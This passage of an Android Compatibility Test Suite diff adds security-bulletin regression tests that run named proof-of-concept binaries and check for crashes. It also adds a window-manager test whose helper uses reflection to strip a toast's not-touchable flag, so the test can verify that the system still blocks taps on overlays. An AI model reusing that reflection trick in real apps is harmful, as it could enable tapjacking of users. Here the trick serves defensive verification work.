@@ -61,4 +61,13 @@
         assertFalse(result.contains(
                             "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
     }
+
+    /**
+     * b/117555811
+     */
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2051() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("CVE-2019-2051", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
index 2007914..07257fa 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -34,11 +34,11 @@
     }
 
     /**
-     * b/138442295
+     * b/139806216
      */
     @SecurityTest(minPatchLevel = "2019-11")
-    public void testPocBug_138442295() throws Exception {
-        int code = AdbUtils.runProxyAutoConfig("bug_138442295", getDevice());
-        assertTrue(code != 139); // 128 + signal 11
+    public void testPocBug_139806216() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0939627..ee38deb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -33,6 +33,10 @@
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
 
+    protected static final int TIMEOUT_DEFAULT = 60;
+    // account for the poc timer of 5 minutes (+15 seconds for safety)
+    protected static final int TIMEOUT_NONDETERMINISTIC = 315;
+
     private long kernelStartTime;
 
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
new file mode 100644
index 0000000..ecc086c
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import android.platform.test.annotations.SecurityTest;
+import java.util.regex.Pattern;
+
+@SecurityTest
+public class TestMedia extends SecurityTestCase {
+
+    final static int TIMEOUT_SEC = 9 * 60;
+    final static String RESOURCE_ROOT = "/";
+    final static String TMP_FILE_PATH = "/data/local/tmp/";
+
+    /****************************************************************
+     * To prevent merge conflicts, add tests for N below this comment,
+     * before any existing test methods
+     ****************************************************************/
+
+
+    /****************************************************************
+     * To prevent merge conflicts, add tests for O below this comment,
+     * before any existing test methods
+     ****************************************************************/
+
+
+    /****************************************************************
+     * To prevent merge conflicts, add tests for P below this comment,
+     * before any existing test methods
+     ****************************************************************/
+
+    /**
+     * Pushes input files, runs the PoC and checks for crash and hang
+     *
+     * @param binaryName name of the binary
+     * @param inputFiles files required as input
+     * @param arguments arguments for running the binary
+     * @param device device to be run on
+     * @param errPattern error patterns to be checked for
+     */
+    public static void runMediaTest(String binaryName,
+            String inputFiles[], String arguments, ITestDevice device,
+            String processPatternStrings[]) throws Exception {
+        if (inputFiles != null) {
+            for (String tempFile : inputFiles) {
+                AdbUtils.pushResource(RESOURCE_ROOT + tempFile,
+                        TMP_FILE_PATH + tempFile, device);
+            }
+        }
+        AdbUtils.runCommandLine("logcat -c", device);
+        AdbUtils.runWithTimeoutDeleteFiles(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    AdbUtils.runPocNoOutput(binaryName, device,
+                            TIMEOUT_SEC + 30, arguments);
+                } catch (Exception e) {
+                    CLog.w("Exception: " + e.getMessage());
+                }
+            }
+        }, TIMEOUT_SEC * 1000, device, inputFiles);
+
+        AdbUtils.assertNoCrashes(device, binaryName);
+        if (processPatternStrings != null) {
+            AdbUtils.assertNoCrashes(device, processPatternStrings);
+        }
+    }
+}
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 3e1f801..40b434b 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
index 773afae..166e73c 100644
--- a/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
+++ b/tests/autofillservice/res/layout/two_horizontal_text_fields.xml
@@ -17,28 +17,40 @@
 
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/parent"
-    android:orientation="horizontal"
-    android:layout_width="match_parent"
-    android:layout_height="wrap_content">
+    android:orientation="vertical"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent" >
 
-    <TextView android:id="@+id/static_text"
-        android:paddingEnd="16dp"
+    <LinearLayout
+        android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <TextView android:id="@+id/static_text"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"
+            android:text="YO:"/>
+
+        <TextView android:id="@+id/first"
+            android:paddingEnd="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+
+        <TextView android:id="@+id/second"
+            android:layout_weight="1"
+            android:layout_width="0dp"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
+
+    <LinearLayout
         android:layout_width="wrap_content"
-        android:layout_height="match_parent"
-        android:text="YO:"/>
+        android:layout_height="fill_parent">
 
-    <TextView android:id="@+id/first"
-        android:paddingEnd="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
+        <ImageView android:id="@+id/img"
+            android:paddingStart="16dp"
+            android:layout_width="wrap_content"
+            android:layout_height="match_parent"/>
+    </LinearLayout>
 
-    <TextView android:id="@+id/second"
-        android:layout_weight="1"
-        android:layout_width="0dp"
-        android:layout_height="match_parent"/>
-
-    <ImageView android:id="@+id/img"
-        android:paddingStart="16dp"
-        android:layout_width="wrap_content"
-        android:layout_height="match_parent"/>
-</LinearLayout>
\ No newline at end of file
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 0dbfc73..64dee4d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2397,6 +2397,9 @@
                 assertTextAndValue(passwordNode, password);
 
                 waitUntilDisconnected();
+
+                // Wait and check if the save window is correctly hidden.
+                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
             } catch (RetryableException e) {
                 throw new RetryableException(e, "on step %d", i);
             } catch (Throwable t) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
index beb598e..a29f918 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
@@ -527,10 +527,10 @@
                 .build());
         mActivity.onPassword(View::requestFocus);
         mUiBot.assertNoDatasetsEver();
-        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
-        assertBasicRequestInfo(request2, mActivity, passwordId, passwordValue);
 
-        mAugmentedUiBot.assertUiShown(passwordId, "req2");
+        // (TODO: b/141703197) password request temp disabled.
+        mAugmentedUiBot.assertUiGone();
+        sAugmentedReplier.reset();
 
         // Tap on username again...
         sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
@@ -643,11 +643,11 @@
                 .build());
         mActivity.onPassword(View::requestFocus);
         mUiBot.assertNoDatasetsEver();
-        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
-        assertBasicRequestInfo(request2, mActivity, passwordId, passwordValue);
 
-        callback.assertUiShownEvent(password);
-        mAugmentedUiBot.assertUiShown(passwordId, "req2");
+        // (TODO: b/141703197) password request temp disabled.
+        callback.assertNotCalled();
+        mAugmentedUiBot.assertUiGone();
+        sAugmentedReplier.reset();
 
         // Tap on username again...
         sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
@@ -661,13 +661,14 @@
         final AugmentedFillRequest request3 = sAugmentedReplier.getNextFillRequest();
         assertBasicRequestInfo(request3, mActivity, usernameId, usernameValue);
         final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+        callback.assertUiShownEvent(username);
 
         // ...and autofill this time
         mActivity.expectAutoFill("dude", "sweet");
         ui.click();
         mActivity.assertAutoFilled();
         mAugmentedUiBot.assertUiGone();
-        callback.assertUiHiddenEvent(password);
+        callback.assertUiHiddenEvent(username);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 0b79756..67cafd4 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -532,6 +532,10 @@
                <action android:name="android.service.vr.VrListenerService" />
            </intent-filter>
         </service>
+
+        <receiver
+            android:name=".ToastReceiver"
+            android:exported="true" />
     </application>
 </manifest>
 
diff --git a/tests/framework/base/windowmanager/app/res/layout/toast.xml b/tests/framework/base/windowmanager/app/res/layout/toast.xml
new file mode 100644
index 0000000..3663ab6
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/res/layout/toast.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FFFFFFFF"
+    >
+
+  <TextView
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:layout_centerInParent="true"
+      android:text="I'm a fullscreen toast!" />
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 94b397f..734b482 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -168,6 +168,9 @@
     public static final ComponentName LAUNCH_BROADCAST_RECEIVER =
             component("LaunchBroadcastReceiver");
 
+    public static final ComponentName TOAST_RECEIVER =
+            component("ToastReceiver");
+
     public static class LaunchBroadcastReceiver {
         public static final String LAUNCH_BROADCAST_ACTION =
                 "android.server.wm.app.LAUNCH_BROADCAST_ACTION";
@@ -413,11 +416,16 @@
         public static final String COMMAND_RESIZE_DISPLAY = "resize_display";
     }
 
+    public static class ToastReceiver {
+        public static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+        public static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+    }
+
     private static ComponentName component(String className) {
         return component(Components.class, className);
     }
 
-    private static String getPackageName() {
+    public static String getPackageName() {
         return getPackageName(Components.class);
     }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java
new file mode 100644
index 0000000..9ef6c3a
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/ToastReceiver.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.Field;
+
+public class ToastReceiver extends BroadcastReceiver {
+    private static final int DETECT_TOAST_TIMEOUT_MS = 15000;
+    private static final int DETECT_TOAST_POOLING_INTERVAL_MS = 200;
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Handler handler = new Handler();
+        Toast toast = getToast(context);
+        long deadline = SystemClock.uptimeMillis() + DETECT_TOAST_TIMEOUT_MS;
+        handler.post(
+                new DetectToastRunnable(
+                        context.getApplicationContext(), toast.getView(), deadline, handler));
+        toast.show();
+    }
+
+    private Toast getToast(Context context) {
+        Context applicationContext = context.getApplicationContext();
+        View view = LayoutInflater.from(context).inflate(R.layout.toast, null);
+        view.setOnTouchListener((v, event) -> {
+            applicationContext.sendBroadcast(new Intent(ACTION_TOAST_TAP_DETECTED));
+            return false;
+        });
+        Toast toast = getClickableToast(context);
+        toast.setView(view);
+        toast.setGravity(Gravity.FILL_HORIZONTAL | Gravity.FILL_VERTICAL, 0, 0);
+        toast.setDuration(Toast.LENGTH_LONG);
+        return toast;
+    }
+
+    /**
+     * Purposely creating a toast without FLAG_NOT_TOUCHABLE in the client-side (via reflection) to
+     * test enforcement on the server-side.
+     */
+    private Toast getClickableToast(Context context) {
+        try {
+            Toast toast = new Toast(context);
+            Field tnField = Toast.class.getDeclaredField("mTN");
+            tnField.setAccessible(true);
+            Object tnObject = tnField.get(toast);
+            Field paramsField = Class.forName(
+                    Toast.class.getCanonicalName() + "$TN").getDeclaredField("mParams");
+            paramsField.setAccessible(true);
+            LayoutParams params = (LayoutParams) paramsField.get(tnObject);
+            params.flags = LayoutParams.FLAG_KEEP_SCREEN_ON | LayoutParams.FLAG_NOT_FOCUSABLE;
+            return toast;
+        } catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
+            throw new IllegalStateException("Toast reflection failed", e);
+        }
+    }
+
+    private static class DetectToastRunnable implements Runnable {
+        private final Context mContext;
+        private final WeakReference<View> mToastViewRef;
+        private final long mDeadline;
+        private final Handler mHandler;
+
+        private DetectToastRunnable(
+                Context applicationContext, View toastView, long deadline, Handler handler) {
+            mContext = applicationContext;
+            mToastViewRef = new WeakReference<>(toastView);
+            mDeadline = deadline;
+            mHandler = handler;
+        }
+
+        @Override
+        public void run() {
+            View toastView = mToastViewRef.get();
+            if (SystemClock.uptimeMillis() > mDeadline || toastView == null) {
+                return;
+            }
+            if (toastView.getParent() != null) {
+                mContext.sendBroadcast(new Intent(ACTION_TOAST_DISPLAYED));
+                return;
+            }
+            mHandler.postDelayed(this, DETECT_TOAST_POOLING_INTERVAL_MS);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
new file mode 100644
index 0000000..253ade4
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_DISPLAYED;
+import static android.server.wm.app.Components.ToastReceiver.ACTION_TOAST_TAP_DETECTED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
+import android.server.wm.WindowManagerState.WindowState;
+import android.server.wm.app.Components;
+import android.view.WindowManager.LayoutParams;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+@Presubmit
+public class ToastTest extends ActivityManagerTestBase {
+    private static final String SETTING_HIDDEN_API_POLICY = "hidden_api_policy";
+    private static final long TOAST_DISPLAY_TIMEOUT_MS = 8000;
+    private static final long TOAST_TAP_TIMEOUT_MS = 3500;
+
+    /**
+     * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+     * is long and it takes some time to process the broadcast we just sent.
+     */
+    private static final long BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
+    @Nullable
+    private String mPreviousHiddenApiPolicy;
+    private Map<String, ConditionVariable> mBroadcastsReceived;
+
+    private BroadcastReceiver mAppCommunicator = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+             getBroadcastReceivedVariable(intent.getAction()).open();
+        }
+    };
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ContentResolver resolver = mContext.getContentResolver();
+            mPreviousHiddenApiPolicy = Settings.Global.getString(resolver,
+                    SETTING_HIDDEN_API_POLICY);
+            Settings.Global.putString(resolver, SETTING_HIDDEN_API_POLICY, "1");
+        });
+        // Stopping just in case, to make sure reflection is allowed
+        stopTestPackage(Components.getPackageName());
+
+        // These are parallel broadcasts, not affected by a busy queue
+        mBroadcastsReceived = Collections.synchronizedMap(new HashMap<>());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_TOAST_DISPLAYED);
+        filter.addAction(ACTION_TOAST_TAP_DETECTED);
+        mContext.registerReceiver(mAppCommunicator, filter);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mAppCommunicator);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putString(mContext.getContentResolver(), SETTING_HIDDEN_API_POLICY,
+                    mPreviousHiddenApiPolicy);
+        });
+        super.tearDown();
+    }
+
+    @Test
+    public void testToastIsNotClickable() {
+        Intent intent = new Intent();
+        intent.setComponent(Components.TOAST_RECEIVER);
+        sendAndWaitForBroadcast(intent);
+        boolean toastDisplayed = getBroadcastReceivedVariable(ACTION_TOAST_DISPLAYED).block(
+                TOAST_DISPLAY_TIMEOUT_MS);
+        assertTrue("Toast not displayed on time", toastDisplayed);
+        WindowManagerState wmState = getAmWmState().getWmState();
+        wmState.computeState();
+        WindowState toastWindow = wmState.findFirstWindowWithType(LayoutParams.TYPE_TOAST);
+        assertNotNull("Couldn't retrieve toast window", toastWindow);
+
+        tapOnCenter(toastWindow.getContainingFrame(), toastWindow.getDisplayId());
+
+        boolean toastClicked = getBroadcastReceivedVariable(ACTION_TOAST_TAP_DETECTED).block(
+                TOAST_TAP_TIMEOUT_MS);
+        assertFalse("Toast tap detected", toastClicked);
+    }
+
+    private void sendAndWaitForBroadcast(Intent intent) {
+        assertNotEquals("Can't wait on main thread", Thread.currentThread(),
+                Looper.getMainLooper().getThread());
+
+        ConditionVariable broadcastDelivered = new ConditionVariable(false);
+        mContext.sendOrderedBroadcast(
+                intent,
+                null,
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        broadcastDelivered.open();
+                    }
+                },
+                new Handler(Looper.getMainLooper()),
+                Activity.RESULT_OK,
+                null,
+                null);
+        broadcastDelivered.block(BROADCAST_DELIVERY_TIMEOUT_MS);
+    }
+
+    private ConditionVariable getBroadcastReceivedVariable(String action) {
+        return mBroadcastsReceived.computeIfAbsent(action, key -> new ConditionVariable());
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index f7337e9..c99764e 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -500,11 +500,14 @@
         injectMotion(downTime, upTime, MotionEvent.ACTION_UP, x, y, displayId);
     }
 
+    protected void tapOnCenter(Rect bounds, int displayId) {
+        final int tapX = bounds.left + bounds.width() / 2;
+        final int tapY = bounds.top + bounds.height() / 2;
+        tapOnDisplay(tapX, tapY, displayId);
+    }
+
     protected void tapOnStackCenter(ActivityManagerState.ActivityStack stack) {
-        final Rect sideStackBounds = stack.getBounds();
-        final int tapX = sideStackBounds.left + sideStackBounds.width() / 2;
-        final int tapY = sideStackBounds.top + sideStackBounds.height() / 2;
-        tapOnDisplay(tapX, tapY, stack.mDisplayId);
+        tapOnCenter(stack.getBounds(), stack.mDisplayId);
     }
 
     private static void injectMotion(long downTime, long eventTime, int action,
diff --git a/tests/tests/media/res/values/exifinterface.xml b/tests/tests/media/res/values/exifinterface.xml
index 11c2efd..3fe06b0 100644
--- a/tests/tests/media/res/values/exifinterface.xml
+++ b/tests/tests/media/res/values/exifinterface.xml
@@ -28,6 +28,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>160</item>
+        <item>8</item>
         <item>SAMSUNG</item>
         <item>SM-N900S</item>
         <item>2.200</item>
@@ -61,11 +65,15 @@
         <item>0</item>
         <item>false</item>
         <item>true</item>
-        <item>572</item>
+        <item>584</item>
         <item>24</item>
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>414</item>
+        <item>4</item>
         <item>LGE</item>
         <item>Nexus 5</item>
         <item>2.400</item>
@@ -93,7 +101,7 @@
     </array>
     <array name="lg_g4_iso_800_dng">
         <item>true</item>
-        <item>0</item>
+        <item>12570</item>
         <item>15179</item>
         <item>256</item>
         <item>144</item>
@@ -104,6 +112,10 @@
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>102</item>
+        <item>4</item>
         <item>LGE</item>
         <item>LG-H815</item>
         <item>1.800</item>
@@ -137,11 +149,15 @@
         <item />
         <item />
         <item>true</item>
-        <item>1662</item>
+        <item>1692</item>
         <item>24</item>
         <item>53.834507</item>
         <item>10.69585</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>84</item>
+        <item>4</item>
         <item>LGE</item>
         <item>LG-H815</item>
         <item>1.800</item>
@@ -175,11 +191,15 @@
         <item />
         <item />
         <item>true</item>
-        <item>3143</item>
+        <item>3155</item>
         <item>24</item>
         <item>37.423</item>
         <item>-122.162</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>210</item>
+        <item>4</item>
         <item>htc</item>
         <item>Nexus 9</item>
         <item>1.2904</item>
@@ -218,6 +238,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>32104</item>
+        <item>5</item>
         <item>SONY</item>
         <item>DSC-RX100M3</item>
         <item>2.0000</item>
@@ -256,6 +280,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>288</item>
+        <item>6</item>
         <item>Canon</item>
         <item>Canon PowerShot G7 X</item>
         <item>8.0000</item>
@@ -294,6 +322,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>318</item>
+        <item>9</item>
         <item>FUJIFILM</item>
         <item>X20</item>
         <item>3.6000</item>
@@ -321,7 +353,7 @@
     </array>
     <array name="nikon_1aw1_nef">
         <item>true</item>
-        <item>0</item>
+        <item>963072</item>
         <item>57600</item>
         <item>160</item>
         <item>120</item>
@@ -332,6 +364,10 @@
         <item>53.83652</item>
         <item>10.69828</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>336</item>
+        <item>18</item>
         <item>NIKON CORPORATION</item>
         <item>NIKON 1 AW1</item>
         <item>5.6000</item>
@@ -370,6 +406,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>298</item>
+        <item>6</item>
         <item>NIKON</item>
         <item>COOLPIX P7800</item>
         <item>2.0000</item>
@@ -408,6 +448,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>266</item>
+        <item>20</item>
         <item>PENTAX</item>
         <item>PENTAX K-5</item>
         <item>8.0000</item>
@@ -446,6 +490,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>2148</item>
+        <item>24</item>
         <item>OLYMPUS IMAGING CORP.</item>
         <item>E-PL3</item>
         <item>8.0000</item>
@@ -484,6 +532,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>874</item>
+        <item>10</item>
         <item>Panasonic</item>
         <item>DMC-GM5</item>
         <item>8.0000</item>
@@ -522,6 +574,10 @@
         <item>0.0</item>
         <item>0.0</item>
         <item>0.0</item>
+        <!--Whether Make information exists-->
+        <item>true</item>
+        <item>98</item>
+        <item>8</item>
         <item>SAMSUNG</item>
         <item>NX3000</item>
         <item>5.6000</item>
diff --git a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
index 9272d58..e24339f 100644
--- a/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/AsyncPlayerTest.java
@@ -24,6 +24,7 @@
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 
+@NonMediaMainlineTest
 public class AsyncPlayerTest extends AndroidTestCase {
 
     public void testAsyncPlayer() throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
index 0666efe..186f322 100644
--- a/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioAttributesTest.java
@@ -22,6 +22,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioAttributesTest extends CtsAndroidTestCase {
 
     // -----------------------------------------------------------------
diff --git a/tests/tests/media/src/android/media/cts/AudioEffectTest.java b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
index ae8458c..71da50b 100644
--- a/tests/tests/media/src/android/media/cts/AudioEffectTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
@@ -37,6 +37,7 @@
 import java.util.UUID;
 
 @AppModeFull(reason = "Dynamic congic not supported")
+@NonMediaMainlineTest
 public class AudioEffectTest extends PostProcTestBase {
 
     private String TAG = "AudioEffectTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
index f156ada..58083d0 100644
--- a/tests/tests/media/src/android/media/cts/AudioFocusTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
@@ -28,6 +28,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+@NonMediaMainlineTest
 public class AudioFocusTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioFocusTest";
 
@@ -353,4 +354,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioFormatTest.java b/tests/tests/media/src/android/media/cts/AudioFormatTest.java
index 6ca4a3b..af5e572 100644
